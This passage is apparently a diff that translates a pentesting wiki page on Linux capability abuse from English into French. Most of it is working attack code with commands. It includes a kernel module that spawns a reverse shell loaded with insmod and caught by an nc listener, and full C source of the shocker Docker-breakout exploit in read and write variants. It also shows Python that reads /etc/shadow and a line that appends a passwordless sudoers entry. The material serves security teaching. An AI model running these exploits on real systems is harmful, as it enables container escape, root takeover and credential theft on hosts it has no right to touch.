([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. Trouvez un **programme** pour **injecter** le **shellcode** dans la mémoire d'un processus ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. **Modifiez** le **shellcode** à l'intérieur du programme et **compilez**-le `gcc inject.c -o inject` +5. **Injectez**-le et récupérez votre **shell** : `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation. -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** permet à un processus de **charger et décharger des modules du noyau (`init_module(2)`, `finit_module(2)` et `delete_module(2)` appels système)**, offrant un accès direct aux opérations de base du noyau. Cette capacité présente des risques de sécurité critiques, car elle permet l'escalade de privilèges et le compromis total du système en permettant des modifications du noyau, contournant ainsi tous les mécanismes de sécurité Linux, y compris les modules de sécurité Linux et l'isolation des conteneurs. +**Cela signifie que vous pouvez** **insérer/retirer des modules du noyau dans/le noyau de la machine hôte.** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**Exemple avec binaire** +Dans l'exemple suivant, le binaire **`python`** a cette capacité. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +Par défaut, la commande **`modprobe`** vérifie la liste des dépendances et les fichiers de mappage dans le répertoire **`/lib/modules/$(uname -r)`**.\ +Pour en abuser, créons un faux dossier **lib/modules** : ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +Ensuite, **compilez le module du noyau que vous pouvez trouver 2 exemples ci-dessous et copiez-le** dans ce dossier : ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +Enfin, exécutez le code python nécessaire pour charger ce module du noyau : ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**Exemple 2 avec binaire** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +Dans l'exemple suivant, le binaire **`kmod`** a cette capacité. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +Ce qui signifie qu'il est possible d'utiliser la commande **`insmod`** pour insérer un module du noyau. Suivez l'exemple ci-dessous pour obtenir un **reverse shell** en abusant de ce privilège. -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Exemple avec environnement (Docker breakout)** +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur docker en utilisant : ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +À l'intérieur de la sortie précédente, vous pouvez voir que la capacité **SYS_MODULE** est activée. -Inside the previous output you can see that the **SYS_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: - +**Créez** le **module du noyau** qui va exécuter un shell inversé et le **Makefile** pour le **compiler** : ```c:reverse-shell.c #include #include @@ -779,11 +689,11 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); @@ -794,26 +704,22 @@ module_exit(reverse_shell_exit); obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` - > [!WARNING] -> The blank char before each make word in the Makefile **must be a tab, not spaces**! - -Execute `make` to compile it. +> Le caractère vide avant chaque mot make dans le Makefile **doit être une tabulation, pas des espaces** ! +Exécutez `make` pour le compiler. ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +Enfin, démarrez `nc` à l'intérieur d'un shell et **chargez le module** depuis un autre et vous capturerez le shell dans le processus nc : ```bash #Shell 1 nc -lvnp 4444 @@ -821,67 +727,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**Le code de cette technique a été copié du laboratoire de "Abusing SYS_MODULE Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +Un autre exemple de cette technique peut être trouvé sur [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet à un processus de **contourner les permissions pour lire des fichiers et pour lire et exécuter des répertoires**. Son utilisation principale est pour la recherche ou la lecture de fichiers. Cependant, il permet également à un processus d'utiliser la fonction `open_by_handle_at(2)`, qui peut accéder à n'importe quel fichier, y compris ceux en dehors de l'espace de montage du processus. Le handle utilisé dans `open_by_handle_at(2)` est censé être un identifiant non transparent obtenu via `name_to_handle_at(2)`, mais il peut inclure des informations sensibles comme des numéros d'inode qui sont vulnérables à la manipulation. Le potentiel d'exploitation de cette capacité, en particulier dans le contexte des conteneurs Docker, a été démontré par Sebastian Krahmer avec l'exploit shocker, comme analysé [ici](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +**Cela signifie que vous pouvez** **contourner les vérifications de permission de lecture de fichiers et les vérifications de permission de lecture/exécution de répertoires.** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**Exemple avec binaire** +Le binaire sera capable de lire n'importe quel fichier. Donc, si un fichier comme tar a cette capacité, il pourra lire le fichier shadow : ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` +**Exemple avec binary2** -**Example with binary2** - -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +Dans ce cas, supposons que le binaire **`python`** a cette capacité. Pour lister les fichiers root, vous pourriez faire : ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +Et pour lire un fichier, vous pourriez faire : ```python print(open("/etc/shadow", "r").read()) ``` +**Exemple dans l'environnement (évasion Docker)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur docker en utilisant : ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +À l'intérieur de la sortie précédente, vous pouvez voir que la capacité **DAC_READ_SEARCH** est activée. En conséquence, le conteneur peut **déboguer des processus**. -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +Vous pouvez apprendre comment l'exploitation suivante fonctionne dans [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) mais en résumé, **CAP_DAC_READ_SEARCH** nous permet non seulement de traverser le système de fichiers sans vérifications de permission, mais supprime également explicitement toutes les vérifications pour _**open_by_handle_at(2)**_ et **pourrait permettre à notre processus d'accéder à des fichiers sensibles ouverts par d'autres processus**. +L'exploit original qui abuse de ces permissions pour lire des fichiers depuis l'hôte peut être trouvé ici : [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), ce qui suit est une **version modifiée qui vous permet d'indiquer le fichier que vous souhaitez lire comme premier argument et de le déverser dans un fichier.** ```c #include #include @@ -898,202 +794,186 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); +read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); +if (find_handle(fd1, argv[1], &root_h, &h) <= 0) +die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); - printf("Success!!\n"); +printf("Success!!\n"); - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); - close(fd2); close(fd1); +close(fd2); close(fd1); - return 0; +return 0; } ``` - > [!WARNING] -> The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +> L'exploit doit trouver un pointeur vers quelque chose monté sur l'hôte. L'exploit original utilisait le fichier /.dockerinit et cette version modifiée utilise /etc/hostname. Si l'exploit ne fonctionne pas, vous devez peut-être définir un fichier différent. Pour trouver un fichier qui est monté sur l'hôte, exécutez simplement la commande mount : ![](<../../images/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -​ - -
- -​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +**Le code de cette technique a été copié du laboratoire "Abusing DAC_READ_SEARCH Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) ## CAP_DAC_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**Cela signifie que vous pouvez contourner les vérifications de permission d'écriture sur n'importe quel fichier, donc vous pouvez écrire n'importe quel fichier.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Il y a beaucoup de fichiers que vous pouvez **écraser pour élever les privilèges,** [**vous pouvez trouver des idées ici**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**Exemple avec un binaire** +Dans cet exemple, vim a cette capacité, donc vous pouvez modifier n'importe quel fichier comme _passwd_, _sudoers_ ou _shadow_: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**Exemple avec le binaire 2** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +Dans cet exemple, le binaire **`python`** aura cette capacité. Vous pourriez utiliser python pour remplacer n'importe quel fichier : ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**Exemple avec environnement + CAP_DAC_READ_SEARCH (évasion Docker)** -**Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur docker en utilisant : ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: - +Tout d'abord, lisez la section précédente qui [**abuse de la capacité DAC_READ_SEARCH pour lire des fichiers arbitraires**](linux-capabilities.md#cap_dac_read_search) de l'hôte et **compilez** l'exploit.\ +Ensuite, **compilez la version suivante de l'exploit shocker** qui vous permettra de **écrire des fichiers arbitraires** dans le système de fichiers de l'hôte : ```c #include #include @@ -1110,179 +990,169 @@ Then, **compile the following version of the shocker exploit** that will allow y // ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +Pour échapper au conteneur docker, vous pourriez **télécharger** les fichiers `/etc/shadow` et `/etc/passwd` depuis l'hôte, **ajouter** un **nouveau utilisateur** à ceux-ci, et utiliser **`shocker_write`** pour les écraser. Ensuite, **accéder** via **ssh**. -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**Le code de cette technique a été copié du laboratoire "Abusing DAC_OVERRIDE Capability" de** 